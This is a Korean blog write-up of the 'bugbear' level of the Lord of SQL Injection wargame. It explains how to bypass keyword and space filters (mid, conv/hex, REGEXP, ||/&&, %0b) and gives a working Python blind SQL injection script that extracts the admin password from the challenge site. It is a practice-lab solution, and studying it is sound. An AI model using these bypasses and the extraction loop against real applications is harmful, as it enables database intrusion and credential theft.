▶ 코드 확인
또 보는 Blind SQL Injection 문제이다.
substr을 필터링하니 대신 쓸 함수가 필요하다. 저번과 같이 mid를 쓰면 될 것 같다.
ascii가 필터링 됐지만, 이번에는 conv를 이용해서 풀어보려 한다. conv함수는 다른 진수의 숫자를 특정 진수로 변환하는 함수이다. 예를 들어 conv(22,8,10) 의 경우 8진법의 22를 10진법으로 고치는 역할을 한다.
=와 like를 같이 필터링해버렸다. 이런 경우 REGEXP를 쓰면 된다.
or 과 and를 필터링하긴 하지만, ||와 &&은 필터링하지 않으므로 쉽게 우회할 수 있다.
띄어쓰기 필터링이야 우회할 수 있는건 많다. %0a, %0b.... 그 중에서 %0b를 사용해서 우회 payload를 짜고 python 코드로 만들면 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
from requests import get
host = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies = {'PHPSESSID': 'eo0jgu96b2rckpgjvaaaeb0qau'}
# Find admin password length
password_length = 0
while True:
password_length += 1
query = f'2&no=1%0b||%0bid%0bREGEXP%0b"admin"%0b%26%26%0bconv(hex(mid(pw,{password_length},1)),16,10)>0'
r = get(f"{host}/?pw={query}", cookies=cookies)
if not "Hello admin" in r.text:
break
print(f"password length: {password_length - 1}")
password = ""
# Find each characters ascii_num
for i in range(1, password_length):
ascii_num = 0
while True:
ascii_num += 1
query = f'2&no=1%0b||%0bid%0bREGEXP%0b"admin"%0b%26%26%0b(conv(hex(mid(pw,{i},1)),16,10)in({ascii_num}))'
r = get(f"{host}/?uid={query}", cookies=cookies)
if "Hello admin" in r.text:
break
print(f"character {i}'s ascii code: {ascii_num}")
password += chr(ascii_num)
print(password)
|
cs |
이를 python으로 돌리면 다음과 같이 pw를 구할 수 있고, pw를 답으로 입력하면 풀 수 있다.
'write-ups > Lord of SQL Injection' 카테고리의 다른 글
LORD OF SQLINJECTION - red_dragon (0) | 2023.01.25 |
---|---|
LORD OF SQLINJECTION - green_dragon (0) | 2023.01.22 |
LORD OF SQLINJECTION - darkknight (0) | 2023.01.01 |
LORD OF SQLINJECTION - golem (0) | 2022.12.05 |
LORD OF SQLINJECTION - Skeleton (0) | 2022.11.30 |
댓글